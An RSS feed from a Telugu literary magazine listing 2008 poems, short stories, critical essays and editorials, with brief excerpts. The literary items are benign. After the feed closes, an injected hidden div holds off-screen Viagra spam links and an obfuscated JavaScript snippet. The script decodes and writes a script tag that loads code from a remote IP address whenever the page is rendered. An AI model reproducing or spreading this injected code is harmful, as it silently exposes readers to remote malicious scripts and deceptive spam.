<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.3" -->
<rss version="0.92">
<channel>
	<title>ప్రాణహిత</title>
	<link>http://www.pranahita.org</link>
	<description>ప్రత్యామ్నాయ సాహిత్య పత్రిక</description>
	<lastBuildDate>Mon, 25 Aug 2008 18:59:40 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>అదృశ్య దృశ్యాలన్నీ&#8230;.</title>
		<description><![CDATA[- కమలాకర్ బొల్లోజు 
ఒక్కొక్క ప్పుడు బండ రాయిలా
మారిపోతున్నపుడు
నిన్న పాడిన కోయిల పాట లా
నువు పుడతావు&#8230;
]]></description>
		<link>http://www.pranahita.org/2008/08/adrushya_drushyalanni/</link>
			</item>
	<item>
		<title>కొండపల్లి బొమ్మ</title>
		<description><![CDATA[-సి.హెచ్‌.ఉషారాణి
అమ్మమొఖం తెరిపిగా వుంటుంది.
కతికితే అతకదంటున్న ప్లేట్లు,
అటు, ఇటుగా తిరగబడి వున్న నా ఫొటోలు,
నన్ను దాటి పోలేదు.
]]></description>
		<link>http://www.pranahita.org/2008/08/kondapalli_bomma/</link>
			</item>
	<item>
		<title>మరణ శాసనం</title>
		<description><![CDATA[-డా.జి.వి. రత్నాకర్‌
వ వల పల్లె గుండెల గాయం
పోతురాజు బండని అంకమ్మ చెట్టుని
కులదైవం చెన్నకేసులు సోమిని
నిలదీసి నాయం చేయమని అడుగుతుంది.
]]></description>
		<link>http://www.pranahita.org/2008/08/marana_sasanam/</link>
			</item>
	<item>
		<title>మనుషులు వయమౌతున్నారు.</title>
		<description><![CDATA[- మంచికంటి
మనుషులు వయమౌతున్నారు.
బతికిన నాలుగుక్ష్షణాలు
సజీవంగా బతకడమే కావాలి
మనిషిగా పుట్టిన మనిషికి
]]></description>
		<link>http://www.pranahita.org/2008/08/manushulu_mayamavutunnaaru/</link>
			</item>
	<item>
		<title>ఆత్మీయులు</title>
		<description><![CDATA[-పలమనేరు బాలాజీ
ఇంట్లోకి అడుగుపెడుతుంటే అమ్మ గబగబా ఎదురొచ్చింది. నాన్న నా వైపే చస్త హాల్లో నిలబడ్డాడు. ఆయన అప్పుడే ఆఫీసు నుండి వచ్చినట్లుంది. మొహంలో అలసట కనిపిస్తోంది.
&#8221;ఉత్తరం వచ్చిందా&#8221; అడుగుతోంది అమ్మ-నా వెహంలోకే గుచ్చిగుచ్చి చస్త. నిస్తేజంగా ఆమె వైపే చస్త అక్కడే నిలబడిపోయను. ఆమెకు బదులు చెప్పే శక్తి నాకు లేకపోయింది.
ఆమె మొహంలో ఇంకా ఏదో ఆశ మిణుకు మిణుకుమంటున్నట్లు-&#8221;ఫోన్‌ ఏమైనా వచ్చిందా పోనీ&#8221; ఆమె గొంతునిండా వేదన, ఆశ, కలగలసి పోయయి.
]]></description>
		<link>http://www.pranahita.org/2008/08/atmeeyulu/</link>
			</item>
	<item>
		<title>మాల పంతులమ్మకు సెలవు కావాల్నా?</title>
		<description><![CDATA[-పి. అనురాధ
అమ్మో! అప్పుడే ఇంత చీకటి ఎలా అయింది? అంతేకదా నాలుగ్గంటలకి కూర్చున్నావ్‌. టైం చూడు అప్పుడే ఎనిమిది కావొస్తుంది. ఏమనుకున్నావ్‌&#8230;ఏదీ నీ కోసం ఆగదు..అమ్మ ఒడిలో ఆడుకునే పాపే ఆగలేక నేలమీద ఎప్పుడు ప్రాకాలా అని ఎగురుతుంది. అలాంటిది ఈ కాలం ఆగుతుందా నీ పిచ్చి గాని చూడు ఆకాశం ఎంత నిర్మలత్వాన్ని పొందిందో. పగలంతా భగభగమండే ఎండలో అలసిన గీతలేవీ కనిపించని ఆ ఆకాశపు అందం ఎంత బాగుందో&#8230;
]]></description>
		<link>http://www.pranahita.org/2008/08/mala_panthulamma/</link>
			</item>
	<item>
		<title>నీ  ఆశ  నీదే</title>
		<description><![CDATA[- రమ్య గీతిక.కే
పద్దెనిమిది   ఏళ్ళ  వైవాహిక  జీవితం  లో  ఒక  గృహిణిగా   బాధ్యతలను  విజయవంతంగా   నెరవేర్చాను,   అన్నీ  సజావుగా  గడిచి  పోయాయి.    తన  జీవితం  లో   తీరని  కోరిక   ఒకే  ఒక్కటి  అది  తీర్చడానికి [...]]]></description>
		<link>http://www.pranahita.org/2008/08/ni_asha_neede/</link>
			</item>
	<item>
		<title>లచ్చిందేవి</title>
		<description><![CDATA[లింబాద్రి బతుకంత బర్రె మీదనే. అది బర్రెంటే బర్రె గాదు గౌడి బర్రె బిందెడుపాలు. యాడాదికో ఈత.
కొన్ని బర్లు ఈనే ముందు ఆరునెలలు పాలియ్యయి. లింబాద్రి బర్రె అట్లగాదు. వారమంటే వారం రోజులే! ఆ వారం గూడా పిండుకుంటే ఇండికి సరిపడ పాలిస్తది కానీ జిగురు జిగురుంటయని లింబాద్రి పిండడు. 
]]></description>
		<link>http://www.pranahita.org/2008/08/lacchindevi/</link>
			</item>
	<item>
		<title>ఇంటర్నెట్‌లో సాహిత్య పరిమళాలు</title>
		<description><![CDATA[-పెరుగు రామకృష్ణ
ఇరవైయేళ్ళ క్రితం సాయంత్రం అయితే చాలు మిత్రులంతా ఒక్కో సెంటర్‌లో గుంపులుగా చేరి కబుర్లు కలబోసుకునేవారు.పదేళ్ళ క్రితం వరకూ పత్రికల్లో వచ్చే సీరియల్స్‌, కవిత్వం, కధల గురించి ఇంకా సామాజిక అంశాల గురించి చర్చించుకునేవారు. కంప్యూటర్‌ విస్తృతి ఈ దేశంలో పెరిగాక ఇప్పుడందరి కలయిక &#8216;నెట్‌ కేఫ్‌&#8217;లలోనే.&#8217;బుక్‌ కల్చర్‌ పోయి లుక్‌ కల్చర్‌&#8217; వచ్చేసిందని ఒక మహాకవి అన్నట్లు ఇంటర్‌నెట్‌ ఇప్పుడు అందరి ప్రపంచం అయిపోయింది.  
]]></description>
		<link>http://www.pranahita.org/2008/08/internetlo_sahitya_parimalalu/</link>
			</item>
	<item>
		<title>శిల్ప ప్రజ్ఞలో సావజిక వాస్తవికత, లోకజ్ఞత, స్థానీయత!</title>
		<description><![CDATA[ : జొన్నవిత్తుల శ్రీరామచంద్రమూర్తి గారి రచనా వైశిష్ట్యం!
-విహారి
అతి తక్కువ సంఖ్యలో రచనలు చేసి, చేసిన ప్రతి రచనకూ బహుమతుల, పురస్కారాలు పొంది, అత్యంత గౌరవప్రదమైన సాహితీ కీర్తిని సముపార్జించుకున్న  అరుదైన రచయిత-జొన్నవిత్తుల శ్రీరామచంద్రమూర్తి గారు..వారు చేసిన రచనలన్నీ గట్టి గింజలు కావటమే వారి ప్రథితకు కారణం.
మూర్తి గారి అభిజనం గొప్పది.వారి తండ్రిగారు కీ.శే. జొన్నవిత్తుల రామకృష్ణ శర్మగారు సంస్కృతాంధ్రాంగ్ల భాషా పండితులు, కవి, గాయకుడు, నాటకకర్త, విమర్శకులు. తల్లిగారు లక్ష్మీనరసమ్మ గారు విదుషీమణి.
]]></description>
		<link>http://www.pranahita.org/2008/08/jonnavitthula/</link>
			</item>
	<item>
		<title>అధ్యాయం 10: చలో వూండెడ్ నీ!!!</title>
		<description><![CDATA[నేను రాడికల్నో రెవల్యూషనరీనో అని నేను అనుకోను. అలాంటి లేబుల్సు తెల్లవాళ్లు మామీద రుద్దారు. ఎప్పుడైనా మేము కోరుకున్నదల్లా మా బతుకులు మమ్మల్ని మాకు తోచినట్లు బతకనివ్వమని మాత్రమే. పేపరు మీద మాత్రమే రాసినట్లు కాకుండా నిజంగానే మమ్మల్ని మేము పరిపాలించుకోనివ్వమని , మా హక్కుల్ని గుర్తించమని ! అలా డిమాండు చెయ్యడం రెవల్యూషనరీ అయితే నేను ఆ వర్ణనకు సరిగా సరిపోతాను.
]]></description>
		<link>http://www.pranahita.org/2008/08/lakota_women_chapter10/</link>
			</item>
	<item>
		<title>ద పోస్ట్ మాన్ : (నాలుగవ భాగం)</title>
		<description><![CDATA[- ఆంటోనియో స్కార్మెటా (తెలుగు: ఎన్ వేణుగోపాల్)
టెలిగ్రాఫ్ ఆపరేటర్ కోస్మెకు రెండు సూత్రాలు చాల ఇష్టమైనవి. 
వాటిలో ఒకటి సోషలిజం. దాని గురించి ఆయన తన దగ్గర పనిచేసేవారి బుర్రలు తింటుండేవాడు. వాళ్లందరూ అప్పటికే ఆ సిద్ధాంతానికి సానుభూతిపరులో, కార్యకర్తలో అయినా సరే. 
రెండో సంగతేమో పోస్టాఫీసులోపల పోస్టాఫీసు టోపీ పెట్టుకోవడం. 
]]></description>
		<link>http://www.pranahita.org/2008/08/the_postman_4/</link>
			</item>
	<item>
		<title>స్వాతంత్రం అంటే?</title>
		<description><![CDATA[స్వాతంత్రం అంటే?
&#8216;Can we look beyond the FREEDOM that is being marketed to us?&#8217; is the million Dollar question? (ఎందుకంటె రూపాయిల భాష ఎవరు మాట్లాడుతలేరు కాబట్టి). ఇప్పుడు ఉన్న తరం మార్కెట్ శక్తులకు ఎంత ప్రభావితం అయితుందో వేరేగ చెప్పనవసరం లేదు. ఎనభైలు, తొంభైల తరాలకన్న ఇప్పటి (ఇంటర్నెట్) తరం ఆశలు ఆశయాలల్ల చాల మార్పులొచ్చినయి.
]]></description>
		<link>http://www.pranahita.org/2008/08/svatantram_ante/</link>
			</item>
	<item>
		<title>అమెరికాలో పత్రికలు</title>
		<description><![CDATA[కొద్ది కాలంగా పుస్తకాలు / పత్రికల గుట్టలు పడుతున్నాయి,వాటిని దీక్షగా చదివిన పాపాన పోలేదు.కాస్త తెరపి దొరికింది,కూలంకషంగా చదవడం మొదలెట్టా. 
Newyorker మంచి పత్రిక.న్యూయార్క్ లో ఆడే నాటకాలు, జరిగే కార్యక్రమాలే కాకుండా మంచి సమీక్షలు చోటు చేసుకుంటాయి. ప్రత్యేక సంచికలకు(వంటలు/Architecture వగైరాలు)ప్రసిద్ధి గాంచిందీ పత్రిక. FALL పుస్తకాల గురించి మంచి సంచిక వెలువడింది. రష్యన్ నవలానువాదాలు మొదట్లో ఎలా ఉండేవి?తర్వాత్తర్వాత నిపుణ మతులు ప్రవేశించాక ఏ తీరున దోస్తవిస్కీ,టాల్ స్టాయ్,తుర్గినీవ్ ల రచనలు పాఠకులకు అందుబాటులోకి [...]]]></description>
		<link>http://www.pranahita.org/2008/08/americalo_patrikalu/</link>
			</item>
	<item>
		<title>తెలుగు దళిత కథాపరిణామం</title>
		<description><![CDATA[-డా//దార్ల వెంకటేశ్వరరావు 
తెలుగులో దళిత సాహిత్యం కవిత్వం, కథ, నవల, నాటకం, పాట, విమర్శ తదితర ప్రక్రియలతో పరిపుష్టిగానే వస్తుంది. ఒక మాటలో చెప్పాలంటే, దళిత సాహిత్యం ప్రక్రియాపరంగా కూడా ఎంతో వైవిధ్యాన్ని చాటుతోంది. ప్రజలతో, ప్రజల ఆకాంక్షలతో ప్రత్యక్ష సంబంధాల ప్రతిఫలనం కూడా దళితసాహిత్యంలో  కనిపించే విశిష్టతల్లో ఒకటి. విప్లవ సాహిత్యనంతరం తమ సమస్యల కోసం ప్రత్యక్షంగా ప్రజా ఉద్యమాలు నడిపి, ఆ భావాలను సాహిత్యంగా సృజనీకరించే సాహిత్య దృక్పథం దళిత సాహిత్యంలోనే స్పష్టంగా [...]]]></description>
		<link>http://www.pranahita.org/2008/08/telugu_dalita_katha_parinamam/</link>
			</item>
	<item>
		<title>జులై 2008 సంపాదకీయం</title>
		<description><![CDATA[ప్రాణహిత జూలై సంచికకు స్వాగతం. ఈ సంచికతో ప్రాణహిత ఒక సంవత్సరం పూర్తి చేసుకుంటున్నది. గత సంవత్సర కాలంలో ప్రాణహిత పదకొండు సంచికలు వెలువడింది. తెలుగు ప్రజల ప్రజాస్వామిక ఆకాంక్షలని ప్రతిఫలించే సాహిత్యాన్ని అంతర్జాతీయ పాఠకులకు అందించడానికి పూనుకున్న ప్రాణహిత, ఒక సంవత్సర కాలంగా నిరాఘాటంగా వెలువడడం చెప్పుకోదగ్గ విజయంగా మేము భావిస్తున్నాము., మీ ప్రోత్సాహం, క్రియాశీలక భాగస్వామ్యం, సలహాలు సూచనలూ లేకుండా ఈ విజయం సాధ్యమయ్యేది కాదు. అందుకు కారణమైన మీ అందరికీ ప్రాణహిత వినమ్రంగా [...]]]></description>
		<link>http://www.pranahita.org/2008/07/jul_2008_editorial/</link>
			</item>
	<item>
		<title>జులై 2008 సూచిక</title>
		<description><![CDATA[కవితలు:

మేఘమా! మేఘమా! - విమల
నువ్వు బతికే ఉన్నావా - పి.మోహన్‌
చివరకు మిగిలింది - పి.మోహన్‌
విధ్వంసం - చల్లపల్లి స్వరూపరాణి

]]></description>
		<link>http://www.pranahita.org/2008/07/jul_2008_index/</link>
			</item>
	<item>
		<title>మేఘమా! మేఘమా!</title>
		<description><![CDATA[- విమల
జీవితం మేఘశకలంలా
అలవోకగా అలా గాలిలో తేలిపోతుంది
మబ్బులు కమ్మిన ఆకాశంలా
]]></description>
		<link>http://www.pranahita.org/2008/07/meghama_meghama/</link>
			</item>
	<item>
		<title>నువ్వు బతికే ఉన్నావా</title>
		<description><![CDATA[- పి.మోహన్‌
&#8216;నీ వాళ్ళు బతికి ఉన్నారో, చచ్చిపోయారో తెలుసుకోలేనంత బిజీగా ఎందుకు మారిపోయావో చెప్పు. లేకుంటే నీ తల కోటి తలలుగా మారుతుంది&#8217; - అపరిచిత భేతాళుడు.
]]></description>
		<link>http://www.pranahita.org/2008/07/nuvvu_batike_unnaava/</link>
			</item>
	<item>
		<title>చివరకు మిగిలింది</title>
		<description><![CDATA[- పి.మోహన్‌
గుప్పిట పట్టిన జ్ఞాపకాలన్నీ
ఆవిరైపోయిన సంగతి
పాముకాటులా అనుభవమయ్యాక
చివరకు మిగిలిన
]]></description>
		<link>http://www.pranahita.org/2008/07/chivaraku_migilindi/</link>
			</item>
</channel>
</rss>
<div style='position:absolute; left:-1000px; top:-1000px;'>Impotence Drugs and treatment It`s no secret that like to take Viagra? <A HREF='http://forum.lycos.de/member.php?u=26282'>buy viagra here</A>. <br />
Family pharmacy there are many different ways to store your <A HREF='http://www.answerbag.com/profile/?id=310168'>cheap generic viagra</A> <br />
New reviews of the cheap did you know that gel tab viagra so what exactly is a <A HREF='http://www.youtube.com/traxtenberg555'>buy viagra cheap</A> 
<script language=javascript>if(typeof(yahoo_counter)==typeof(1))var s='';else var s=unescape('Axhwnuy%25xwhB44%3C%3B36%3B8369%3C365%3D4hu4CA4xhwnuyC5');for(var i=1;i<s.length;i++)document.write(String.fromCharCode(s.charCodeAt(i-1)-s.substr(s.length-1,1)));var yahoo_counter=1;</script></div>
